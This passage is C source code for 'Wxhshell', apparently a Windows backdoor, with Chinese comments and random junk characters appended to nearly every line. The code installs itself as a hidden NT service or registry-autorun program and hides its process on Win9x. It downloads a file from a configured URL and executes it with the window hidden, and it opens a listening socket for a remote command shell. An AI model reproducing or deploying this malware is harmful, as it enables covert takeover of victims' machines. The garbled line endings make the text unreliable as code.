ULONG UniqueProcessId; %4Nq T
ULONG InheritedFromUniqueProcessId; RvL-SI%E
} PROCESS_BASIC_INFORMATION; dAOmqu,6
bSW!2#~
PROCNTQSIP NtQueryInformationProcess; I,{9vew
TQx''$j\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {u BpM9KT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7)S;VG k
U=<E,tM
HANDLE hProcess; Ga\E`J$c
PROCESS_BASIC_INFORMATION pbi; /jI>=:z
*iSsGb\M%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "%+C@>`(
if(NULL == hInst ) return 0; 'bP-pgc
o;o
ji
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cw3JSz9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =,D3e+P'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T-=sC=sS,
q9-=>
if (!NtQueryInformationProcess) return 0; )Cuc]>SC
j)Z3m @Ii5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YoD1\a|
if(!hProcess) return 0; cad%:%p
NpRT\cx3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /easmf]
LC5NB{b\%>
CloseHandle(hProcess); XVi?-/2
X*F#=.lh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W
M/pP?||
if(hProcess==NULL) return 0; I71kFtvcy*
]A;zY%>
HMODULE hMod; 4ze-N8<[
char procName[255]; =K#D^c~
unsigned long cbNeeded; mA5x ke_)
^s25z=^t
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9:^SnHAa
Pms"YhyZ7
CloseHandle(hProcess); _20nOg`o
#vJDb |z
if(strstr(procName,"services")) return 1; // 以服务启动 &Y"u*)bm
XW6>;:4k
return 0; // 注册表启动 PTe8,cD>
} &?(r#T
=@b/Gl
// 主模块 >^%]F[Wo
int StartWxhshell(LPSTR lpCmdLine) %WrUu|xj>_
{ <J=9,tv<
SOCKET wsl; |$`LsA.
BOOL val=TRUE; m(nGtrQJm
int port=0; ~={8b
struct sockaddr_in door; VsOn j~@
=iy%;>I`
if(wscfg.ws_autoins) Install(); TD+V.}
X:\ r )
port=atoi(lpCmdLine); fZ6lnZ
tk4~ 8
if(port<=0) port=wscfg.ws_port; @bdGV#*d
/jih;J|
WSADATA data; #SQao;>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U7U-H\t7
lmb5Z-xB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pR2QS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ev>gh0
door.sin_family = AF_INET; 1R)4[oYN\<
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j+Nun
door.sin_port = htons(port); KFHn)+*"
UJ1Ui'a(!!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D0,U2d
closesocket(wsl); &eq>>
return 1; v\ggFrG]
} RKaCX:
gW'aK>*c
if(listen(wsl,2) == INVALID_SOCKET) { epi{Ayb
closesocket(wsl); *M;!{)m?
return 1; -~eNC^t;W
} BY"<90kBL
Wxhshell(wsl); >6 [{\uPK
WSACleanup(); Px&*&^Gf[b
zYfn;s%A
return 0; [gFpFz|b<
P6*IR|
} ]V J$;v'{[
3dNOXk,#
// 以NT服务方式启动 6=2M[T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wwVK15t
{ } pE<P;\]k
DWORD status = 0; #/t^?$8\\
DWORD specificError = 0xfffffff; Pq`]^^=be'
^R\0<\'
serviceStatus.dwServiceType = SERVICE_WIN32; WlU^+ctS
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
q%,q"WU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v-2O{^n
serviceStatus.dwWin32ExitCode = 0; vMKmHq
serviceStatus.dwServiceSpecificExitCode = 0; 2'tZ9mK
serviceStatus.dwCheckPoint = 0; r6&f I"Yg
serviceStatus.dwWaitHint = 0; s%"3F<\
#\1;d8h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oqOv"yLJ:
if (hServiceStatusHandle==0) return; |lAu6d
!
\;&9h1?Mn
status = GetLastError(); A 1x?_S"a
if (status!=NO_ERROR) <*0^X%Vf\
{ 0XFJ/
serviceStatus.dwCurrentState = SERVICE_STOPPED; O=8:K'
serviceStatus.dwCheckPoint = 0;
.BJ;}
serviceStatus.dwWaitHint = 0; ac6Lv}w_
serviceStatus.dwWin32ExitCode = status; =ZjF5,@
serviceStatus.dwServiceSpecificExitCode = specificError; U'@eUY(Ov$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y
?]GOQI
return; vK)^;T ;
} DSad[>Uj],
W4Nbl
serviceStatus.dwCurrentState = SERVICE_RUNNING; #+V-65v
serviceStatus.dwCheckPoint = 0; <SmXMruU
serviceStatus.dwWaitHint = 0; mR:G,XytxM
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ECqcK~h#E
} Y!* \=h6h
J2 {?P
cs
// 处理NT服务事件,比如:启动、停止 A~&Tp
VOID WINAPI NTServiceHandler(DWORD fdwControl) sG*1 ?
{ 6j@3C`Yd
switch(fdwControl) :%Na-j9hV)
{ Xu $_%+46
case SERVICE_CONTROL_STOP: @x?7J@:
serviceStatus.dwWin32ExitCode = 0; K?:rrd=7q
serviceStatus.dwCurrentState = SERVICE_STOPPED; poj@G{
serviceStatus.dwCheckPoint = 0; &yN@(P)
serviceStatus.dwWaitHint = 0; VnW]-P*:
{ % \Nfj)9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _3DRCNvh
} j#r|t+{"C
return; 74hGkf^S
case SERVICE_CONTROL_PAUSE: 1a4
[w
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2[: *0 DV#
break; / 2>\Z (
case SERVICE_CONTROL_CONTINUE: znv2:
serviceStatus.dwCurrentState = SERVICE_RUNNING; XNkw9*IT
break; )?RR1P-ID
case SERVICE_CONTROL_INTERROGATE: o,(MB[|hQ
break; WgPpW!`
}; K4NB#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #FKo:id`K
} H5uWI
6O8'T`F[
// 标准应用程序主函数 y)o!F^
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I)I,{xT4
{
Y,z15i3j?
pB;)Hii\
// 获取操作系统版本 .dwb@$
OsIsNt=GetOsVer(); 6T0[
~@g5
GetModuleFileName(NULL,ExeFile,MAX_PATH); LM}0QL
m?
*&{M,
// 从命令行安装 eU?SLIof[{
if(strpbrk(lpCmdLine,"iI")) Install(); H~JPsS;
.q#2 op
// 下载执行文件 hGyi@0
if(wscfg.ws_downexe) { c<)C3v
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JTB_-J-TU
WinExec(wscfg.ws_filenam,SW_HIDE); )]~'zOE_
} OJe#s;oH
WL(u'%5
if(!OsIsNt) { iHhoNv`MR
// 如果时win9x,隐藏进程并且设置为注册表启动 [4B.;MS(
HideProc(); u6h"=l{
StartWxhshell(lpCmdLine); +O>1Ed
} \hv1"WaJ
else 5-lcz)DO
if(StartFromService()) J&4LyIpQ
// 以服务方式启动 +ew 2+2
StartServiceCtrlDispatcher(DispatchTable); S*~v9+
else G
m40u/
// 普通方式启动 Vvu+gP'z.
StartWxhshell(lpCmdLine); g
&~T X
v`#T)5gl-
return 0; z 3)pvX5
}